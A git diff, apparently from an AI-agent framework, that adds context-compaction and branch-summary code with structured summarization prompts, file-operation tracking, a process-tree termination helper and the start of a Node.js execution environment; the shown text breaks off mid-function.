options.streamFn + ? await (await options.streamFn(model, context, streamOptions)).result() + : await resolveAgentCoreCompleteFn(options.runtime)(model, context, streamOptions); + if (response.stopReason === "aborted") { + return err( + new BranchSummaryError("aborted", response.errorMessage || "Branch summary aborted"), + ); + } + if (response.stopReason === "error") { + return err( + new BranchSummaryError( + "summarization_failed", + `Branch summary failed: ${response.errorMessage || "Unknown error"}`, + ), + ); + } + + let summary = response.content + .filter((c): c is { type: "text"; text: string } => c.type === "text") + .map((c) => c.text) + .join("\n"); + summary = BRANCH_SUMMARY_PREAMBLE + summary; + const { readFiles, modifiedFiles } = computeFileLists(fileOps); + summary += formatFileOperations(readFiles, modifiedFiles); + + return ok({ + summary: summary || "No summary generated", + readFiles, + modifiedFiles, + }); +} diff --git a/packages/agent-core/src/harness/compaction/compaction.ts b/packages/agent-core/src/harness/compaction/compaction.ts new file mode 100644 index 00000000000..cda4dcfcc3e --- /dev/null +++ b/packages/agent-core/src/harness/compaction/compaction.ts @@ -0,0 +1,864 @@ +import type { + AssistantMessage, + Context, + Model, + SimpleStreamOptions, + StreamFn, + Usage, +} from "../../llm.js"; +import { + type AgentCoreCompletionRuntimeDeps, + resolveAgentCoreCompleteFn, +} from "../../runtime-deps.js"; +import type { AgentMessage, ThinkingLevel } from "../../types.js"; +import { + convertToLlm, + createBranchSummaryMessage, + createCompactionSummaryMessage, + createCustomMessage, +} from "../messages.js"; +import { buildSessionContext } from "../session/session.js"; +import { + type CompactionEntry, + CompactionError, + err, + ok, + type Result, + type SessionTreeEntry, +} from "../types.js"; +import { + computeFileLists, + createFileOps, + extractFileOpsFromMessage, + type FileOperations, + formatFileOperations, + serializeConversation, +} from "./utils.js"; + +/** File-operation details stored on generated compaction entries. */ +export interface CompactionDetails { + /** Files read in the compacted history. */ + readFiles: string[]; + /** Files modified in the compacted history. */ + modifiedFiles: string[]; +} +function safeJsonStringify(value: unknown): string { + try { + return JSON.stringify(value) ?? "undefined"; + } catch { + return "[unserializable]"; + } +} + +function extractFileOperations( + messages: AgentMessage[], + entries: SessionTreeEntry[], + prevCompactionIndex: number, +): FileOperations { + const fileOps = createFileOps(); + if (prevCompactionIndex >= 0) { + const prevCompaction = entries[prevCompactionIndex] as CompactionEntry; + if (!prevCompaction.fromHook && prevCompaction.details) { + const details = prevCompaction.details as CompactionDetails; + if (Array.isArray(details.readFiles)) { + for (const f of details.readFiles) { + fileOps.read.add(f); + } + } + if (Array.isArray(details.modifiedFiles)) { + for (const f of details.modifiedFiles) { + fileOps.edited.add(f); + } + } + } + } + for (const msg of messages) { + extractFileOpsFromMessage(msg, fileOps); + } + + return fileOps; +} +function getMessageFromEntry(entry: SessionTreeEntry): AgentMessage | undefined { + if (entry.type === "message") { + return entry.message; + } + if (entry.type === "custom_message") { + return createCustomMessage( + entry.customType, + entry.content, + entry.display, + entry.details, + entry.timestamp, + ); + } + if (entry.type === "branch_summary") { + return createBranchSummaryMessage(entry.summary, entry.fromId, entry.timestamp); + } + if (entry.type === "compaction") { + return createCompactionSummaryMessage(entry.summary, entry.tokensBefore, entry.timestamp); + } + return undefined; +} + +function getMessageFromEntryForCompaction(entry: SessionTreeEntry): AgentMessage | undefined { + if (entry.type === "compaction") { + return undefined; + } + return getMessageFromEntry(entry); +} + +/** Generated compaction data ready to be persisted as a compaction entry. */ +export interface CompactionResult { + /** Summary text that replaces compacted history in future context. */ + summary: string; + /** Entry id where retained history starts. */ + firstKeptEntryId: string; + /** Estimated context tokens before compaction. */ + tokensBefore: number; + /** Optional implementation-specific details stored with the compaction entry. */ + details?: T; +} + +/** Compaction thresholds and retention settings. */ +export interface CompactionSettings { + /** Enable automatic compaction decisions. */ + enabled: boolean; + /** Tokens reserved for summary prompt and output. */ + reserveTokens: number; + /** Approximate recent-context tokens to keep after compaction. */ + keepRecentTokens: number; +} + +/** Default compaction settings used by the harness. */ +export const DEFAULT_COMPACTION_SETTINGS: CompactionSettings = { + enabled: true, + reserveTokens: 16384, + keepRecentTokens: 20000, +}; + +/** Calculate total context tokens from provider usage. */ +export function calculateContextTokens(usage: Usage): number { + return usage.totalTokens || usage.input + usage.output + usage.cacheRead + usage.cacheWrite; +} +function getAssistantUsage(msg: AgentMessage): Usage | undefined { + if (msg.role === "assistant" && "usage" in msg) { + const assistantMsg = msg; + if ( + assistantMsg.stopReason !== "aborted" && + assistantMsg.stopReason !== "error" && + assistantMsg.usage + ) { + return assistantMsg.usage; + } + } + return undefined; +} + +/** Return usage from the last successful assistant message in session entries. */ +export function getLastAssistantUsage(entries: SessionTreeEntry[]): Usage | undefined { + for (let i = entries.length - 1; i >= 0; i--) { + const entry = entries[i]; + if (entry.type === "message") { + const usage = getAssistantUsage(entry.message); + if (usage) { + return usage; + } + } + } + return undefined; +} + +/** Estimated context-token usage for a message list. */ +export interface ContextUsageEstimate { + /** Estimated total context tokens. */ + tokens: number; + /** Tokens reported by the most recent assistant usage block. */ + usageTokens: number; + /** Estimated tokens after the most recent assistant usage block. */ + trailingTokens: number; + /** Index of the message that provided usage, or null when none exists. */ + lastUsageIndex: number | null; +} + +function getLastAssistantUsageInfo( + messages: AgentMessage[], +): { usage: Usage; index: number } | undefined { + for (let i = messages.length - 1; i >= 0; i--) { + const usage = getAssistantUsage(messages[i]); + if (usage) { + return { usage, index: i }; + } + } + return undefined; +} + +/** Estimate context tokens for messages using provider usage when available. */ +export function estimateContextTokens(messages: AgentMessage[]): ContextUsageEstimate { + const usageInfo = getLastAssistantUsageInfo(messages); + + if (!usageInfo) { + let estimated = 0; + for (const message of messages) { + estimated += estimateTokens(message); + } + return { + tokens: estimated, + usageTokens: 0, + trailingTokens: estimated, + lastUsageIndex: null, + }; + } + + const usageTokens = calculateContextTokens(usageInfo.usage); + let trailingTokens = 0; + for (let i = usageInfo.index + 1; i < messages.length; i++) { + trailingTokens += estimateTokens(messages[i]); + } + + return { + tokens: usageTokens + trailingTokens, + usageTokens, + trailingTokens, + lastUsageIndex: usageInfo.index, + }; +} + +/** Return whether context usage exceeds the configured compaction threshold. */ +export function shouldCompact( + contextTokens: number, + contextWindow: number, + settings: CompactionSettings, +): boolean { + if (!settings.enabled) { + return false; + } + return contextTokens > contextWindow - settings.reserveTokens; +} + +/** Estimate token count for one message using a conservative character heuristic. */ +export function estimateTokens(message: AgentMessage): number { + let chars = 0; + + switch (message.role) { + case "user": { + const content = (message as { content: string | Array<{ type: string; text?: string }> }) + .content; + if (typeof content === "string") { + chars = content.length; + } else if (Array.isArray(content)) { + for (const block of content) { + if (block.type === "text" && block.text) { + chars += block.text.length; + } + } + } + return Math.ceil(chars / 4); + } + case "assistant": { + const assistant = message; + for (const block of assistant.content) { + if (block.type === "text") { + chars += block.text.length; + } else if (block.type === "thinking") { + chars += block.thinking.length; + } else if (block.type === "toolCall") { + chars += block.name.length + safeJsonStringify(block.arguments).length; + } + } + return Math.ceil(chars / 4); + } + case "custom": + case "toolResult": { + if (typeof message.content === "string") { + chars = message.content.length; + } else { + for (const block of message.content) { + if (block.type === "text" && block.text) { + chars += block.text.length; + } + if (block.type === "image") { + chars += 4800; + } + } + } + return Math.ceil(chars / 4); + } + case "bashExecution": { + chars = message.command.length + message.output.length; + return Math.ceil(chars / 4); + } + case "branchSummary": + case "compactionSummary": { + chars = message.summary.length; + return Math.ceil(chars / 4); + } + } + + return 0; +} +function findValidCutPoints( + entries: SessionTreeEntry[], + startIndex: number, + endIndex: number, +): number[] { + const cutPoints: number[] = []; + for (let i = startIndex; i < endIndex; i++) { + const entry = entries[i]; + switch (entry.type) { + case "message": { + const role = entry.message.role; + switch (role) { + case "bashExecution": + case "custom": + case "branchSummary": + case "compactionSummary": + case "user": + case "assistant": + cutPoints.push(i); + break; + case "toolResult": + break; + } + break; + } + case "thinking_level_change": + case "model_change": + case "compaction": + case "branch_summary": + case "custom": + case "custom_message": + case "label": + case "session_info": + case "leaf": + break; + } + if (entry.type === "branch_summary" || entry.type === "custom_message") { + cutPoints.push(i); + } + } + return cutPoints; +} + +/** Find the user-visible message that starts the turn containing an entry. */ +export function findTurnStartIndex( + entries: SessionTreeEntry[], + entryIndex: number, + startIndex: number, +): number { + for (let i = entryIndex; i >= startIndex; i--) { + const entry = entries[i]; + if (entry.type === "branch_summary" || entry.type === "custom_message") { + return i; + } + if (entry.type === "message") { + const role = entry.message.role; + if (role === "user" || role === "bashExecution") { + return i; + } + } + } + return -1; +} + +/** Cut point selected for compaction. */ +export interface CutPointResult { + /** Index of the first entry retained after compaction. */ + firstKeptEntryIndex: number; + /** Index of the turn-start entry when the cut splits a turn, otherwise -1. */ + turnStartIndex: number; + /** Whether the selected cut point splits an in-progress turn. */ + isSplitTurn: boolean; +} + +/** Find the compaction cut point that keeps approximately the requested recent-token budget. */ +export function findCutPoint( + entries: SessionTreeEntry[], + startIndex: number, + endIndex: number, + keepRecentTokens: number, +): CutPointResult { + const cutPoints = findValidCutPoints(entries, startIndex, endIndex); + + if (cutPoints.length === 0) { + return { firstKeptEntryIndex: startIndex, turnStartIndex: -1, isSplitTurn: false }; + } + let accumulatedTokens = 0; + let cutIndex = cutPoints[0]; + + for (let i = endIndex - 1; i >= startIndex; i--) { + const entry = entries[i]; + if (entry.type !== "message") { + continue; + } + const messageTokens = estimateTokens(entry.message); + accumulatedTokens += messageTokens; + if (accumulatedTokens >= keepRecentTokens) { + for (let c = 0; c < cutPoints.length; c++) { + if (cutPoints[c] >= i) { + cutIndex = cutPoints[c]; + break; + } + } + break; + } + } + while (cutIndex > startIndex) { + const prevEntry = entries[cutIndex - 1]; + if (prevEntry.type === "compaction") { + break; + } + if (prevEntry.type === "message") { + break; + } + cutIndex--; + } + const cutEntry = entries[cutIndex]; + const isUserMessage = cutEntry.type === "message" && cutEntry.message.role === "user"; + const turnStartIndex = isUserMessage ? -1 : findTurnStartIndex(entries, cutIndex, startIndex); + + return { + firstKeptEntryIndex: cutIndex, + turnStartIndex, + isSplitTurn: !isUserMessage && turnStartIndex !== -1, + }; +} + +export const SUMMARIZATION_SYSTEM_PROMPT = `You are a context summarization assistant. Your task is to read a conversation between a user and an AI coding assistant, then produce a structured summary following the exact format specified. + +Do NOT continue the conversation. Do NOT respond to any questions in the conversation. ONLY output the structured summary.`; + +const SUMMARIZATION_PROMPT = `The messages above are a conversation to summarize. Create a structured context checkpoint summary that another LLM will use to continue the work. + +Use this EXACT format: + +## Goal +[What is the user trying to accomplish? Can be multiple items if the session covers different tasks.] + +## Constraints & Preferences +- [Any constraints, preferences, or requirements mentioned by user] +- [Or "(none)" if none were mentioned] + +## Progress +### Done +- [x] [Completed tasks/changes] + +### In Progress +- [ ] [Current work] + +### Blocked +- [Issues preventing progress, if any] + +## Key Decisions +- **[Decision]**: [Brief rationale] + +## Next Steps +1. [Ordered list of what should happen next] + +## Critical Context +- [Any data, examples, or references needed to continue] +- [Or "(none)" if not applicable] + +Keep each section concise. Preserve exact file paths, function names, and error messages.`; + +const UPDATE_SUMMARIZATION_PROMPT = `The messages above are NEW conversation messages to incorporate into the existing summary provided in tags. + +Update the existing structured summary with new information. RULES: +- PRESERVE all existing information from the previous summary +- ADD new progress, decisions, and context from the new messages +- UPDATE the Progress section: move items from "In Progress" to "Done" when completed +- UPDATE "Next Steps" based on what was accomplished +- PRESERVE exact file paths, function names, and error messages +- If something is no longer relevant, you may remove it + +Use this EXACT format: + +## Goal +[Preserve existing goals, add new ones if the task expanded] + +## Constraints & Preferences +- [Preserve existing, add new ones discovered] + +## Progress +### Done +- [x] [Include previously done items AND newly completed items] + +### In Progress +- [ ] [Current work - update based on progress] + +### Blocked +- [Current blockers - remove if resolved] + +## Key Decisions +- **[Decision]**: [Brief rationale] (preserve all previous, add new) + +## Next Steps +1. [Update based on current state] + +## Critical Context +- [Preserve important context, add new if needed] + +Keep each section concise. Preserve exact file paths, function names, and error messages.`; + +function createSummarizationOptions( + model: Model, + maxTokens: number, + apiKey: string | undefined, + headers: Record | undefined, + signal: AbortSignal | undefined, + thinkingLevel: ThinkingLevel | undefined, +): SimpleStreamOptions { + const options: SimpleStreamOptions = { maxTokens, signal, apiKey, headers }; + if (model.reasoning && thinkingLevel && thinkingLevel !== "off") { + options.reasoning = thinkingLevel; + } + return options; +} + +async function completeSummarization( + model: Model, + context: Context, + options: SimpleStreamOptions, + streamFn?: StreamFn, + runtime?: AgentCoreCompletionRuntimeDeps, +): Promise { + if (streamFn) { + return (await streamFn(model, context, options)).result(); + } + return await resolveAgentCoreCompleteFn(runtime)(model, context, options); +} + +/** Generate or update a conversation summary for compaction. */ +export async function generateSummary( + currentMessages: AgentMessage[], + model: Model, + reserveTokens: number, + apiKey: string | undefined, + headers?: Record, + signal?: AbortSignal, + customInstructions?: string, + previousSummary?: string, + thinkingLevel?: ThinkingLevel, + streamFn?: StreamFn, + runtime?: AgentCoreCompletionRuntimeDeps, +): Promise> { + const maxTokens = Math.min( + Math.floor(0.8 * reserveTokens), + model.maxTokens > 0 ? model.maxTokens : Number.POSITIVE_INFINITY, + ); + let basePrompt = previousSummary ? UPDATE_SUMMARIZATION_PROMPT : SUMMARIZATION_PROMPT; + if (customInstructions) { + basePrompt = `${basePrompt}\n\nAdditional focus: ${customInstructions}`; + } + const llmMessages = convertToLlm(currentMessages); + const conversationText = serializeConversation(llmMessages); + let promptText = `\n${conversationText}\n\n\n`; + if (previousSummary) { + promptText += `\n${previousSummary}\n\n\n`; + } + promptText += basePrompt; + + const summarizationMessages = [ + { + role: "user" as const, + content: [{ type: "text" as const, text: promptText }], + timestamp: Date.now(), + }, + ]; + + const response = await completeSummarization( + model, + { systemPrompt: SUMMARIZATION_SYSTEM_PROMPT, messages: summarizationMessages }, + createSummarizationOptions(model, maxTokens, apiKey, headers, signal, thinkingLevel), + streamFn, + runtime, + ); + if (response.stopReason === "aborted") { + return err(new CompactionError("aborted", response.errorMessage || "Summarization aborted")); + } + if (response.stopReason === "error") { + return err( + new CompactionError( + "summarization_failed", + `Summarization failed: ${response.errorMessage || "Unknown error"}`, + ), + ); + } + + const textContent = response.content + .filter((c): c is { type: "text"; text: string } => c.type === "text") + .map((c) => c.text) + .join("\n"); + + return ok(textContent); +} + +/** Prepared inputs for a compaction run. */ +export interface CompactionPreparation { + /** Entry id where retained history starts. */ + firstKeptEntryId: string; + /** Messages summarized into the history summary. */ + messagesToSummarize: AgentMessage[]; + /** Prefix messages summarized separately when compaction splits a turn. */ + turnPrefixMessages: AgentMessage[]; + /** Whether compaction splits a turn. */ + isSplitTurn: boolean; + /** Estimated context tokens before compaction. */ + tokensBefore: number; + /** Previous compaction summary used for iterative updates. */ + previousSummary?: string; + /** File operations extracted from summarized history. */ + fileOps: FileOperations; + /** Settings used to prepare compaction. */ + settings: CompactionSettings; +} + +/** Prepare session entries for compaction, or return undefined when compaction is not applicable. */ +export function prepareCompaction( + pathEntries: SessionTreeEntry[], + settings: CompactionSettings, +): Result { + if (pathEntries.length === 0 || pathEntries[pathEntries.length - 1].type === "compaction") { + return ok(undefined); + } + + let prevCompactionIndex = -1; + for (let i = pathEntries.length - 1; i >= 0; i--) { + if (pathEntries[i].type === "compaction") { + prevCompactionIndex = i; + break; + } + } + + let previousSummary: string | undefined; + let boundaryStart = 0; + if (prevCompactionIndex >= 0) { + const prevCompaction = pathEntries[prevCompactionIndex] as CompactionEntry; + previousSummary = prevCompaction.summary; + const firstKeptEntryIndex = pathEntries.findIndex( + (entry) => entry.id === prevCompaction.firstKeptEntryId, + ); + boundaryStart = firstKeptEntryIndex >= 0 ? firstKeptEntryIndex : prevCompactionIndex + 1; + } + const boundaryEnd = pathEntries.length; + + const tokensBefore = estimateContextTokens(buildSessionContext(pathEntries).messages).tokens; + + const cutPoint = findCutPoint(pathEntries, boundaryStart, boundaryEnd, settings.keepRecentTokens); + const firstKeptEntry = pathEntries[cutPoint.firstKeptEntryIndex]; + if (!firstKeptEntry?.id) { + return err( + new CompactionError( + "invalid_session", + "First kept entry has no UUID - session may need migration", + ), + ); + } + const firstKeptEntryId = firstKeptEntry.id; + + const historyEnd = cutPoint.isSplitTurn ? cutPoint.turnStartIndex : cutPoint.firstKeptEntryIndex; + const messagesToSummarize: AgentMessage[] = []; + for (let i = boundaryStart; i < historyEnd; i++) { + const msg = getMessageFromEntryForCompaction(pathEntries[i]); + if (msg) { + messagesToSummarize.push(msg); + } + } + const turnPrefixMessages: AgentMessage[] = []; + if (cutPoint.isSplitTurn) { + for (let i = cutPoint.turnStartIndex; i < cutPoint.firstKeptEntryIndex; i++) { + const msg = getMessageFromEntryForCompaction(pathEntries[i]); + if (msg) { + turnPrefixMessages.push(msg); + } + } + } + const fileOps = extractFileOperations(messagesToSummarize, pathEntries, prevCompactionIndex); + if (cutPoint.isSplitTurn) { + for (const msg of turnPrefixMessages) { + extractFileOpsFromMessage(msg, fileOps); + } + } + + return ok({ + firstKeptEntryId, + messagesToSummarize, + turnPrefixMessages, + isSplitTurn: cutPoint.isSplitTurn, + tokensBefore, + previousSummary, + fileOps, + settings, + }); +} + +const TURN_PREFIX_SUMMARIZATION_PROMPT = `This is the PREFIX of a turn that was too large to keep. The SUFFIX (recent work) is retained. + +Summarize the prefix to provide context for the retained suffix: + +## Original Request +[What did the user ask for in this turn?] + +## Early Progress +- [Key decisions and work done in the prefix] + +## Context for Suffix +- [Information needed to understand the retained recent work] + +Be concise. Focus on what's needed to understand the kept suffix.`; + +export { serializeConversation } from "./utils.js"; + +/** Generate compaction summary data from prepared session history. */ +export async function compact( + preparation: CompactionPreparation, + model: Model, + apiKey: string | undefined, + headers?: Record, + customInstructions?: string, + signal?: AbortSignal, + thinkingLevel?: ThinkingLevel, + streamFn?: StreamFn, + runtime?: AgentCoreCompletionRuntimeDeps, +): Promise> { + const { + firstKeptEntryId, + messagesToSummarize, + turnPrefixMessages, + isSplitTurn, + tokensBefore, + previousSummary, + fileOps, + settings, + } = preparation; + + if (!firstKeptEntryId) { + return err( + new CompactionError( + "invalid_session", + "First kept entry has no UUID - session may need migration", + ), + ); + } + + let summary: string; + + if (isSplitTurn && turnPrefixMessages.length > 0) { + const [historyResult, turnPrefixResult] = await Promise.all([ + messagesToSummarize.length > 0 + ? generateSummary( + messagesToSummarize, + model, + settings.reserveTokens, + apiKey, + headers, + signal, + customInstructions, + previousSummary, + thinkingLevel, + streamFn, + runtime, + ) + : Promise.resolve(ok("No prior history.")), + generateTurnPrefixSummary( + turnPrefixMessages, + model, + settings.reserveTokens, + apiKey, + headers, + signal, + thinkingLevel, + streamFn, + runtime, + ), + ]); + if (!historyResult.ok) { + return err(historyResult.error); + } + if (!turnPrefixResult.ok) { + return err(turnPrefixResult.error); + } + summary = `${historyResult.value}\n\n---\n\n**Turn Context (split turn):**\n\n${turnPrefixResult.value}`; + } else { + const summaryResult = await generateSummary( + messagesToSummarize, + model, + settings.reserveTokens, + apiKey, + headers, + signal, + customInstructions, + previousSummary, + thinkingLevel, + streamFn, + runtime, + ); + if (!summaryResult.ok) { + return err(summaryResult.error); + } + summary = summaryResult.value; + } + + const { readFiles, modifiedFiles } = computeFileLists(fileOps); + summary += formatFileOperations(readFiles, modifiedFiles); + + return ok({ + summary, + firstKeptEntryId, + tokensBefore, + details: { readFiles, modifiedFiles } as CompactionDetails, + }); +} +async function generateTurnPrefixSummary( + messages: AgentMessage[], + model: Model, + reserveTokens: number, + apiKey: string | undefined, + headers?: Record, + signal?: AbortSignal, + thinkingLevel?: ThinkingLevel, + streamFn?: StreamFn, + runtime?: AgentCoreCompletionRuntimeDeps, +): Promise> { + const maxTokens = Math.min( + Math.floor(0.5 * reserveTokens), + model.maxTokens > 0 ? model.maxTokens : Number.POSITIVE_INFINITY, + ); + const llmMessages = convertToLlm(messages); + const conversationText = serializeConversation(llmMessages); + const promptText = `\n${conversationText}\n\n\n${TURN_PREFIX_SUMMARIZATION_PROMPT}`; + const summarizationMessages = [ + { + role: "user" as const, + content: [{ type: "text" as const, text: promptText }], + timestamp: Date.now(), + }, + ]; + + const response = await completeSummarization( + model, + { systemPrompt: SUMMARIZATION_SYSTEM_PROMPT, messages: summarizationMessages }, + createSummarizationOptions(model, maxTokens, apiKey, headers, signal, thinkingLevel), + streamFn, + runtime, + ); + if (response.stopReason === "aborted") { + return err( + new CompactionError("aborted", response.errorMessage || "Turn prefix summarization aborted"), + ); + } + if (response.stopReason === "error") { + return err( + new CompactionError( + "summarization_failed", + `Turn prefix summarization failed: ${response.errorMessage || "Unknown error"}`, + ), + ); + } + + return ok( + response.content + .filter((c): c is { type: "text"; text: string } => c.type === "text") + .map((c) => c.text) + .join("\n"), + ); +} diff --git a/packages/agent-core/src/harness/compaction/utils.ts b/packages/agent-core/src/harness/compaction/utils.ts new file mode 100644 index 00000000000..64e31a0dc74 --- /dev/null +++ b/packages/agent-core/src/harness/compaction/utils.ts @@ -0,0 +1,167 @@ +import type { Message } from "../../llm.js"; +import type { AgentMessage } from "../../types.js"; + +/** File paths touched by a session branch or compaction range. */ +export interface FileOperations { + /** Files read but not necessarily modified. */ + read: Set; + /** Files written by full-file write operations. */ + written: Set; + /** Files modified by edit operations. */ + edited: Set; +} + +/** Create an empty file-operation accumulator. */ +export function createFileOps(): FileOperations { + return { + read: new Set(), + written: new Set(), + edited: new Set(), + }; +} + +/** Add file operations from assistant tool calls to an accumulator. */ +export function extractFileOpsFromMessage(message: AgentMessage, fileOps: FileOperations): void { + if (message.role !== "assistant") { + return; + } + if (!("content" in message) || !Array.isArray(message.content)) { + return; + } + + for (const block of message.content) { + if (typeof block !== "object" || block === null) { + continue; + } + if (!("type" in block) || block.type !== "toolCall") { + continue; + } + if (!("arguments" in block) || !("name" in block)) { + continue; + } + + const args = block.arguments as Record | undefined; + if (!args) { + continue; + } + + const path = typeof args.path === "string" ? args.path : undefined; + if (!path) { + continue; + } + + switch (block.name) { + case "read": + fileOps.read.add(path); + break; + case "write": + fileOps.written.add(path); + break; + case "edit": + fileOps.edited.add(path); + break; + } + } +} + +/** Compute sorted read-only and modified file lists from accumulated operations. */ +export function computeFileLists(fileOps: FileOperations): { + readFiles: string[]; + modifiedFiles: string[]; +} { + const modified = new Set([...fileOps.edited, ...fileOps.written]); + const readOnly = [...fileOps.read].filter((f) => !modified.has(f)).toSorted(); + const modifiedFiles = [...modified].toSorted(); + return { readFiles: readOnly, modifiedFiles }; +} + +/** Format file lists as summary metadata tags. */ +export function formatFileOperations(readFiles: string[], modifiedFiles: string[]): string { + const sections: string[] = []; + if (readFiles.length > 0) { + sections.push(`\n${readFiles.join("\n")}\n`); + } + if (modifiedFiles.length > 0) { + sections.push(`\n${modifiedFiles.join("\n")}\n`); + } + if (sections.length === 0) { + return ""; + } + return `\n\n${sections.join("\n\n")}`; +} + +const TOOL_RESULT_MAX_CHARS = 2000; + +function safeJsonStringify(value: unknown): string { + try { + return JSON.stringify(value) ?? "undefined"; + } catch { + return "[unserializable]"; + } +} + +function truncateForSummary(text: string, maxChars: number): string { + if (text.length <= maxChars) { + return text; + } + const truncatedChars = text.length - maxChars; + return `${text.slice(0, maxChars)}\n\n[... ${truncatedChars} more characters truncated]`; +} + +/** Serialize LLM messages to plain text for summarization prompts. */ +export function serializeConversation(messages: Message[]): string { + const parts: string[] = []; + + for (const msg of messages) { + if (msg.role === "user") { + const content = + typeof msg.content === "string" + ? msg.content + : msg.content + .filter((c): c is { type: "text"; text: string } => c.type === "text") + .map((c) => c.text) + .join(""); + if (content) { + parts.push(`[User]: ${content}`); + } + } else if (msg.role === "assistant") { + const textParts: string[] = []; + const thinkingParts: string[] = []; + const toolCalls: string[] = []; + + for (const block of msg.content) { + if (block.type === "text") { + textParts.push(block.text); + } else if (block.type === "thinking") { + thinkingParts.push(block.thinking); + } else if (block.type === "toolCall") { + const args = block.arguments; + const argsStr = Object.entries(args) + .map(([k, v]) => `${k}=${safeJsonStringify(v)}`) + .join(", "); + toolCalls.push(`${block.name}(${argsStr})`); + } + } + + if (thinkingParts.length > 0) { + parts.push(`[Assistant thinking]: ${thinkingParts.join("\n")}`); + } + if (textParts.length > 0) { + parts.push(`[Assistant]: ${textParts.join("\n")}`); + } + if (toolCalls.length > 0) { + parts.push(`[Assistant tool calls]: ${toolCalls.join("; ")}`); + } + } else if (msg.role === "toolResult") { + const content = msg.content + .filter((c): c is { type: "text"; text: string } => c.type === "text") + .map((c) => c.text) + .join(""); + if (content) { + parts.push(`[Tool result]: ${truncateForSummary(content, TOOL_RESULT_MAX_CHARS)}`); + } + } + } + + return parts.join("\n\n"); +} diff --git a/packages/agent-core/src/harness/env/kill-tree.ts b/packages/agent-core/src/harness/env/kill-tree.ts new file mode 100644 index 00000000000..1d372862391 --- /dev/null +++ b/packages/agent-core/src/harness/env/kill-tree.ts @@ -0,0 +1,137 @@ +import { spawn } from "node:child_process"; + +const DEFAULT_GRACE_MS = 3000; +const MAX_GRACE_MS = 60_000; + +export type KillProcessTreeOptions = { + graceMs?: number; + detached?: boolean; + force?: boolean; +}; + +/** + * Best-effort process-tree termination with graceful shutdown. + * - Windows: use taskkill /T to include descendants. Sends SIGTERM-equivalent + * first (without /F), then force-kills if process survives. + * - Unix: send SIGTERM to process group first, wait grace period, then SIGKILL. + * + * When the child was spawned with `detached: false`, pass `detached: false` to + * skip the Unix `process.kill(-pid, ...)` group-kill. That avoids signaling the + * gateway's own process group. + */ +export function killProcessTree(pid: number, opts?: KillProcessTreeOptions): void { + if (!Number.isFinite(pid) || pid <= 0) { + return; + } + + if (process.platform === "win32") { + if (opts?.force === true) { + signalProcessTreeWindows(pid, "SIGKILL"); + return; + } + const graceMs = normalizeGraceMs(opts?.graceMs); + killProcessTreeWindows(pid, graceMs); + return; + } + + const useGroupKill = opts?.detached !== false; + if (opts?.force === true) { + signalProcessTreeUnix(pid, "SIGKILL", useGroupKill); + return; + } + + const graceMs = normalizeGraceMs(opts?.graceMs); + signalProcessTreeUnix(pid, "SIGTERM", useGroupKill); + setTimeout(() => { + const stillAlive = useGroupKill + ? isProcessAlive(-pid) || isProcessAlive(pid) + : isProcessAlive(pid); + if (!stillAlive) { + return; + } + signalProcessTreeUnix(pid, "SIGKILL", useGroupKill); + }, graceMs).unref(); +} + +export function signalProcessTree( + pid: number, + signal: "SIGTERM" | "SIGKILL", + opts?: { detached?: boolean }, +): void { + if (!Number.isFinite(pid) || pid <= 0) { + return; + } + + if (process.platform === "win32") { + signalProcessTreeWindows(pid, signal); + return; + } + + signalProcessTreeUnix(pid, signal, opts?.detached !== false); +} + +function normalizeGraceMs(value?: number): number { + if (typeof value !== "number" || !Number.isFinite(value)) { + return DEFAULT_GRACE_MS; + } + return Math.max(0, Math.min(MAX_GRACE_MS, Math.floor(value))); +} + +function isProcessAlive(pid: number): boolean { + try { + process.kill(pid, 0); + return true; + } catch { + return false; + } +} + +function signalProcessTreeUnix( + pid: number, + signal: "SIGTERM" | "SIGKILL", + useGroupKill: boolean, +): void { + if (useGroupKill) { + try { + process.kill(-pid, signal); + return; + } catch { + // Process group does not exist or we lack permission; try direct pid. + } + } + + try { + process.kill(pid, signal); + } catch { + // Already gone. + } +} + +function runTaskkill(args: string[]): void { + try { + spawn("taskkill", args, { + stdio: "ignore", + detached: true, + windowsHide: true, + }); + } catch { + // Ignore taskkill spawn failures. + } +} + +function killProcessTreeWindows(pid: number, graceMs: number): void { + signalProcessTreeWindows(pid, "SIGTERM"); + + setTimeout(() => { + if (!isProcessAlive(pid)) { + return; + } + signalProcessTreeWindows(pid, "SIGKILL"); + }, graceMs).unref(); +} + +function signalProcessTreeWindows(pid: number, signal: "SIGTERM" | "SIGKILL"): void { + const args = + signal === "SIGKILL" ? ["/F", "/T", "/PID", String(pid)] : ["/T", "/PID", String(pid)]; + runTaskkill(args); +} diff --git a/packages/agent-core/src/harness/env/nodejs.ts b/packages/agent-core/src/harness/env/nodejs.ts new file mode 100644 index 00000000000..a112f4ac700 --- /dev/null +++ b/packages/agent-core/src/harness/env/nodejs.ts @@ -0,0 +1,598 @@ +import { spawn } from "node:child_process"; +import { randomUUID } from "node:crypto"; +import { constants, createReadStream } from "node:fs"; +import { + access, + appendFile, + lstat, + mkdir, + mkdtemp, + readdir, + readFile, + realpath, + rm, + writeFile, +} from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { isAbsolute, join, resolve } from "node:path"; +import { createInterface } from "node:readline"; +import { + type ExecutionEnv, + ExecutionError, + err, + FileError, + type FileInfo, + type FileKind, + ok, + type Result, + toError, +} from "../types.js"; +import { killProcessTree } from "./kill-tree.js"; + +function resolvePath(cwd: string, path: string): string { + return isAbsolute(path) ? path : resolve(cwd, path); +} + +function fileKindFromStats(stats: { + isFile(): boolean; + isDirectory(): boolean; + isSymbolicLink(): boolean; +}): FileKind | undefined { + if (stats.isFile()) { + return "file"; + } + if (stats.isDirectory()) { + return "directory"; + } + if (stats.isSymbolicLink()) { + return "symlink"; + } + return undefined; +} + +function fileInfoFromStats( + path: string, + stats: { + isFile(): boolean; + isDirectory(): boolean; + isSymbolicLink(): boolean; + size: number; + mtimeMs: number; + }, +): Result { + const kind = fileKindFromStats(stats); + if (!kind) { + return err(new FileError("invalid", "Unsupported file type", path)); + } + return ok({ + name: path.replace(/\/+$/, "").split("/").pop() ?? path, + path, + kind, + size: stats.size, + mtimeMs: stats.mtimeMs, + }); +} + +function isNodeError(error: unknown): error is NodeJS.ErrnoException { + return error instanceof Error && "code" in error; +} + +function toFileError(error: unknown, path?: string): FileError { + if (error instanceof FileError) { + return error; + } + const cause = toError(error); + if (isNodeError(error)) { + const message = error.message; + switch (error.code) { + case "ABORT_ERR": + return new FileError("aborted", message, path, cause); + case "ENOENT": + return new FileError("not_found", message, path, cause); + case "EACCES": + case "EPERM": + return new FileError("permission_denied", message, path, cause); + case "ENOTDIR": + return new FileError("not_directory", message, path, 